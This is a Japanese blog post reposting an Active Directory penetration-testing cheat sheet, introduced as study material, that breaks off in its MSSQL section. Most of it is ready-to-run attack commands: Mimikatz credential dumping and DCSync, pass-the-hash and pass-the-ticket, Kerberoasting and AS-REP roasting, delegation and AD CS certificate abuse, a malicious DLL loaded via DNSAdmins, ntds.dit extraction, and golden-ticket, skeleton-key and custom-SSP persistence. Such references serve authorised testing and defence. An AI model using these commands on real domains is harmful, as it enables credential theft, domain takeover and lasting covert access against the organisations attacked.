いい感じにActive Directoryのペンテストで使うコマンドがまとまっているサイト / Active-Directory-Exploitation-Cheat-Sheet(転載)


いい感じにActive Directoryのペンテストで使うコマンドがまとまっていますね。ここに書いてある用語やコマンドを調べて勉強するのも良いでしょう。https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet:

github.com/S1ckB0y1337/Activ…

このチートシートには、Windows Active Directoryの一般的な列挙と攻撃方法が記載されています。

このチートシートは、PayloadAllTheThingsのレポに触発されています。

使用するツール

ドメイン情報取得

PowerViewを使うケース

Powerview v.3.0
Powerview Wiki

  • 現在のドメインの取得: Get-Domain
  • 他のドメイン情報の取得: Get-Domain -Domain <DomainName>
  • ドメインSIDの取得: Get-DomainSID
  • ドメインポリシーの取得:
    Get-DomainPolicy
    
    #Will show us the policy configurations of the Domain about system access or kerberos
    Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
    Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
    
  • ドメインコントローラの取得:
    Get-DomainController
    Get-DomainController -Domain <DomainName>
    
  • ドメインユーザーの抽出:
    #Save all Domain Users to a file
    Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
    
    #Will return specific properties of a specific user
    Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
    
    #Enumerate user logged on a machine
    Get-NetLoggedon -ComputerName <ComputerName>
    
    #Enumerate Session Information for a machine
    Get-NetSession -ComputerName <ComputerName>
    
    #Enumerate domain machines of the current/specified domain where specific users are logged into
    Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
    
  • ドメイン配下のコンピューターの列挙:
    Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
    
    #Enumerate Live machines 
    Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
    
  • Enumグループとグループメンバー:
    #Save all Domain Groups to a file:
    Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
    
    #Return members of Specific Group (eg. Domain Admins & Enterprise Admins)
    Get-DomainGroup -Identity '<GroupName>' | Select-Object -ExpandProperty Member 
    Get-DomainGroupMember -Identity '<GroupName>' | Select-Object MemberDistinguishedName
    
    #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine
    Get-NetLocalGroup | Select-Object GroupName
    
    #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine
    Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
    
    #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
    Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
    
  • 共有リソースの抽出:
    #Enumerate Domain Shares
    Find-DomainShare
    
    #Enumerate Domain Shares the current user has access
    Find-DomainShare -CheckShareAccess
    
    #Enumerate "Interesting" Files on accessible shares
    Find-InterestingDomainShareFile -Include *passwords*
    
  • グループポリシーの抽出:
    Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
    
    #Enumerate all GPOs to a specific computer
    Get-DomainGPO -ComputerIdentity <ComputerName> -Properties DisplayName | Sort-Object -Property DisplayName
    
    #Get users that are part of a Machine's local Admin group
    Get-DomainGPOComputerLocalGroupMapping -ComputerName <ComputerName>
    
  • OUの抽出:
    Get-DomainOU -Properties Name | Sort-Object -Property Name
    
  • ACLの抽出:
    # Returns the ACLs associated with the specified account
    Get-DomaiObjectAcl -Identity <AccountName> -ResolveGUIDs
    
    #Search for interesting ACEs
    Find-InterestingDomainAcl -ResolveGUIDs
    
    #Check the ACLs associated with a specified path (e.g smb share)
    Get-PathAcl -Path "\\Path\Of\A\Share"
    
  • 信頼するドメインの抽出:
    Get-DomainTrust
    Get-DomainTrust -Domain <DomainName>
    
    #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds
    Get-DomainTrustMapping
    
  • 信頼するフォレストの抽出:
    Get-ForestDomain
    Get-ForestDomain -Forest <ForestName>
    
    #Map the Trust of the Forest
    Get-ForestTrust
    Get-ForestTrust -Forest <ForestName>
    
  • ユーザーハンティング:
    #Finds all machines on the current domain where the current user has local admin access
    Find-LocalAdminAccess -Verbose
    
    #Find local admins on all machines of the domain
    Find-DomainLocalGroupMember -Verbose
    
    #Find computers were a Domain Admin OR a spesified user has a session
    Find-DomainUserLocation | Select-Object UserName, SessionFromName
    
    #Confirming admin access
    Test-AdminAccess
    
     ユーザーハンティングによるドメイン管理者への権限委譲:
    I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit!

AD Moduleを使うケース

  • 現在のドメインを取得: Get-ADDomain
  • その他のドメインを取得: Get-ADDomain -Identity <Domain>
  • ドメインSIDを取得: Get-DomainSID
  • ドメインコントローラを取得:
    Get-ADDomainController
    Get-ADDomainController -Identity <DomainName>
    
  • ドメインユーザーを取得:
    Get-ADUser -Filter * -Identity <user> -Properties *
    
    #Get a spesific "string" on a user's attribute
    Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
    
  • ドメイン配下のコンピューターを取得:
    Get-ADComputer -Filter * -Properties *
    Get-ADGroup -Filter * 
    
  • 信頼するドメインを取得:
    Get-ADTrust -Filter *
    Get-ADTrust -Identity <DomainName>
    
  • 信頼するフォレストを取得:
    Get-ADForest
    Get-ADForest -Identity <ForestName>
    
    #Domains of Forest Enumeration
    (Get-ADForest).Domains
    
  • Enum Local AppLocker Effective Policy:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

BloodHoundを使うケース

Remote BloodHound

Python BloodHound Repository or install it with pip3 install bloodhound

bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c All

On Site BloodHound

#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
    
#Using powershell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>

便利な情報収集ツール

  • ldapdomaindump :LDAP経由での情報収集ツール
  • adidnsdump :認証された任意のユーザーによる統合DNSダンプ取得
  • ACLight :特権アカウントの検出
  • ADRecon :ADのReconツール

ローカルでの特権昇格

便利なローカル・プライバシー・ツール

  • PowerUp Misconfiguration Abuse
  • BeRoot General Priv Esc Enumeration Tool
  • Privesc General Priv Esc Enumeration Tool
  • FullPowers Restore A Service Account's Privileges

ラテラルムーブメント

Powershellによる遠隔操作

#Enable Powershell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>

Powershell認証情報によるリモートコード実行

$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

powershellモジュールをインポートし、その関数をリモートで実行する。

#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess 

#Interact with the session
Enter-PSSession -Session $sess

Remote Statefulコマンドの実行

#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz

#The commands are in cobalt strike format!

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys
mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys

#Dump SAM Database
mimikatz lsadump::sam

#Dump SECRETS Database
mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#List and Dump local kerberos credentials
mimikatz kerberos::list /dump

#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions
mimikatz ts::sessions

#List Vault credentials
mimikatz vault::list

リモートデスクトップ

横移動したいホストが「RestrictedAdmin」を有効にしていれば、RDPプロトコルを使ってハッシュを渡し、平文のパスワードなしで対話型セッションを得ることができる。

  • Mimikatz:
#We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag
privilege::debug
sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash> /run:"mstsc.exe /restrictedadmin"

#Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
  • xFreeRDP:
xfreerdp  +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8  /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress> 

 リモートマシンで制限付き管理者モードが無効になっている場合、psexecやwinrmなどの他のツール/プロトコルを使用してホスト上で接続し、以下のレジストリキーを作成してその値を0に設定することで制限付き管理者モードを有効にできます。 "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

便利なツール

  • Powercat netcat written in powershell, and provides tunneling, relay and portforward capabilities.
  • SCShell fileless lateral movement tool that relies on ChangeServiceConfigA to run command
  • Evil-Winrm the ultimate WinRM shell for hacking/pentesting
  • RunasCs Csharp and open version of windows builtin runas.exe
  • ntlm_theft creates all possible file formats for url file attacks

Domain Privilege Escalation

Kerberoast

WUT IS DIS?:
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.

  • PowerView:
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN

#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast

#Requesting the TGS for a single account:
Request-SPNTicket
  
#Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
  • AD Module:
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  • Impacket:
python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName>
  • Rubeus:
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>

#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes
 
#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple

#Kerberoast by specifying the authentication credentials 
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>

ASREPRoast

WUT IS DIS?:
If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted
blob and bruteforce it offline.

  • PowerView: Get-DomainUser -PreauthNotRequired -Verbose
  • AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:

Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable!

PowerView:

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose

And finally execute the attack using the ASREPRoast tool.

#Get a spesific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose

#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose

Using Rubeus:

#Trying the attack for all domain users
Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

#ASREPRoast spesific user
Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

#ASREPRoast users of a spesific OU (Organization Unit)
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

Using Impacket:

#Trying the attack for the specified users on the file
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>

Password Spray Attack

If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts.

Tools:

Force Set SPN

WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.

  • PowerView:
#Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
 
#Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname
 
#Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  • AD Module:
#Check if current user has already an SPN setted
Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName
  
#Force set the SPN on the account:
Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}

Finally use any tool from before to grab the hash and kerberoast it!

Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation.

#List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
  
#List shadow copies using diskshadow
diskshadow list shadows all
  
#Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
  1. You can dump the backuped SAM database and harvest credentials.
  2. Look for DPAPI stored creds and decrypt them.
  3. Access backuped sensitive files.

List and Decrypt Stored Credentials using Mimikatz

Usually encrypted credentials are stored in:

  • %appdata%\Microsoft\Credentials
  • %localappdata%\Microsoft\Credentials
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Detailed Article: DPAPI all the things

Unconstrained Delegation

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!

Using PowerView:

#Discover domain joined computers that have Unconstrained Delegation enabled
Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay   
<WaitInterval> -Verbose

#Dump the tickets to disk:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'

Note: We can also use Rubeus!

Constrained Delegation

Using PowerView and Kekeo:

#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

ALTERNATIVE: Using Rubeus:

Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt

Now we can access the service as the impersonated user!

🚩 What if we have delegation rights for only a spesific SPN? (e.g TIME):

In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.

Resource Based Constrained Delegation

WUT IS DIS?:
TL;DR
If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.

Tools we are going to use:

First we need to enter the security context of the user/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:

#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength) 
$SD.GetBinaryForm($SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$

Detailed Articles:

 In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.

#Command on Rubeus
Rubeus.exe tgtdeleg /nowrap

Detailed Article: Rubeus – Now With More Kekeo

DNSAdmins Abuse

WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.

  1. Enumerate the members of the DNSAdmins group:
    • PowerView: Get-NetGroupMember -GroupName "DNSAdmins"
    • AD Module: Get-ADGroupMember -Identiny DNSAdmins
  2. Once we found a member of this group we need to compromise it (There are many ways).
  3. Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:
    #Using dnscmd:
    dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
    
    #Restart the DNS Service:
    sc \\DNSServer stop dns
    sc \\DNSServer start dns
    

Abusing Active Directory-Integraded DNS

Abusing Backup Operators Group

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.

  1. Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:
#Create a .txt file that will contain the shadow copy process script
Script ->{
set context persistent nowriters  
set metadata c:\windows\system32\spool\drivers\color\example.cab  
set verbose on  
begin backup  
add volume c: alias mydrive  
 
create  
  
expose %mydrive% w:  
end backup  
}

#Execute diskshadow with our script as parameter
diskshadow /s script.txt
  1. Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use this amazing repo:
#Importing both dlls from the repo using powershell
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
  
#Checking if the SeBackupPrivilege is enabled
Get-SeBackupPrivilege
  
#If it isn't we enable it
Set-SeBackupPrivilege
  
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite
  
#Dump the SYSTEM hive
reg save HKLM\SYSTEM c:\temp\system.hive 
  1. Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.
  2. Use secretsdump.py from impacket and dump the hashes.
  3. Use psexec or another tool of your choice to PTH and get Domain Admin access.

Abusing Exchange

Weaponizing Printer Bug

Abusing ACLs

Abusing IPv6 with mitm6

SID History Abuse

WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the SID History field on a kerberos TGT ticket, that defines the "extra" security groups and privileges.

Exploitation example:

#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local

#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local

#Create the Enteprise Admins SID
Format: RootDomainSID-519

#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID> /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi

#Inject the ticket into memory
kerberos::ptt \path\to\ticket\golden.kirbi

#List the DC of the Root Domain
dir \\dc.root.domain.local\C$

#Or DCsync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all

Detailed Articles:

Exploiting SharePoint

Zerologon

PrintNightmare

Active Directory Certificate Services

Check for Vulnerable Certificate Templates with: Certify

Note: Certify can be executed with Cobalt Strike's execute-assembly command as well

.\Certify.exe find /vulnerable /quiet

Make sure the msPKI-Certificates-Name-Flag value is set to "ENROLLEE_SUPPLIES_SUBJECT" and that the Enrollment Rights allow Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter contains the "Client Authentication" value as well as that the "Authorized Signatures Required" parameter is set to 0.

This exploit only works because these settings enable server/client authentication, meaning an attacker can specify the UPN of a Domain Admin ("DA") and use the captured certificate with Rubeus to forge authentication.

Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended. Check before choosing a DA to target.

Request the DA's Account Certificate with Certify

.\Certify.exe request /template:<Template Name> /quiet /ca:"<CA Name>" /domain:<domain.com> /path:CN=Configuration,DC=<domain>,DC=com /altname:<Domain Admin AltName> /machine

This should return a valid certificate for the associated DA account.

The exported cert.pem and cert.key files must be consolidated into a single cert.pem file, with one gap of whitespace between the END RSA PRIVATE KEY and the BEGIN CERTIFICATE.

Example of cert.pem:

-----BEGIN RSA PRIVATE KEY-----
BIIEogIBAAk15x0ID[...]
[...]
[...]
-----END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
BIIEogIBOmgAwIbSe[...]
[...]
[...]
-----END CERTIFICATE-----

#Utilize openssl to Convert to PKCS #12 Format

The openssl command can be utilized to convert the certificate file into PKCS #12 format (you may be required to enter an export password, which can be anything you like).

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Once the cert.pfx file has been exported, upload it to the compromised host (this can be done in a variety of ways, such as with Powershell, SMB, certutil.exe, Cobalt Strike's upload functionality, etc.)

After the cert.pfx file has been uploaded to the compromised host, Rubeus can be used to request a Kerberos TGT for the DA account which will then be imported into memory.

.\Rubeus.exe asktht /user:<Domain Admin AltName> /domain:<domain.com> /dc:<Domain Controller IP or Hostname> /certificate:<Local Machine Path to cert.pfx> /nowrap /ptt

This should result in a successfully imported ticket, which then enables an attacker to perform various malicious acitivities under DA user context, such as performing a DCSync attack.

No PAC

Domain Persistence

Golden Ticket Attack

#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName <DC'sName>

#On any machine:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:
<HashOfkrbtgtAccount>   id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

DCsync Attack

#DCsync using mimikatz (You need DA rights or DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges):
Invoke-Mimikatz -Command '"lsadump::dcsync /user:<DomainName>\<AnyDomainUser>"'

#DCsync using secretsdump.py from impacket with NTLM authentication
secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-dc-ntlm

#DCsync using secretsdump.py from impacket with Kerberos Authentication
secretsdump.py -no-pass -k <Domain>/<Username>@<DC'S IP or FQDN> -just-dc-ntlm

Tip:
/ptt -> inject ticket on current running session
/ticket -> save the ticket on the system for later use

Silver Ticket Attack

Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<TheTargetMachine> /service:
<ServiceType> /rc4:<TheSPN's Account NTLM Hash> /user:<UserToImpersonate> /ptt"'

SPN List

Skeleton Key Attack

#Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DC's FQDN>

#Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator

DSRM Abuse

WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!

#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>

#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:
Enter-PSSession -ComputerName <DC's Name>

#Alter the Logon behaviour on registry:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose

#If the property already exists:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose

Then just PTH to get local admin access on DC!

Custom SSP

WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!

From powershell:

#Get current Security Package:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' | select -ExpandProperty  'Security Packages'

#Append mimilib:
$packages += "mimilib"

#Change the new packages name
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig\" -Name 'Security Packages' -Value $packages
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name 'Security Packages' -Value $packages

#ALTERNATIVE:
Invoke-Mimikatz -Command '"misc::memssp"'

Now all logons on the DC are logged to -> C:\Windows\System32\kiwissp.log

Cross Forest Attacks

Trust Tickets

WUT IS DIS ?: If we have Domain Admin rights on a Domain that has Bidirectional Trust relationship with an other forest we can get the Trust key and forge our own inter-realm TGT.

⚠️ The access we will have will be limited to what our DA account is configured to have on the other Forest!

Using Mimikatz:

#Dump the trust key
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

#Forge an inter-realm TGT using the Golden Ticket attack
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<OurDomain> /sid:  
<OurDomainSID> /rc4:<TrustKey> /service:krbtgt /target:<TheTargetDomain> /ticket:
<PathToSaveTheGoldenTicket>"'

 Tickets -> .kirbi format

Then Ask for a TGS to the external Forest for any service using the inter-realm TGT and access the resource!

Using Rubeus:

.\Rubeus.exe asktgs /ticket:<kirbi file> /service:"Service's SPN" /ptt

Abuse MSSQL Servers

  • Enumerate MSSQL Instances: Get-SQLInstanceDomain
  • Check Accessibility as current user:
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Gather Information about the instance: Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
  • Abusing SQL Database Links:
    WUT IS DIS?: A database link allows a SQL Server to access other resources like other SQL Server. If we have two linked SQL Servers we can execute stored procedures in them. Database links also works across Forest Trust!

Check for existing Database Links:

#Check for existing Database Links:
#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose
     
#MSSQL Query:
select * from master..sysservers

Then we can use queries to enumerate other links from the linked Database:

#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')
     
#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
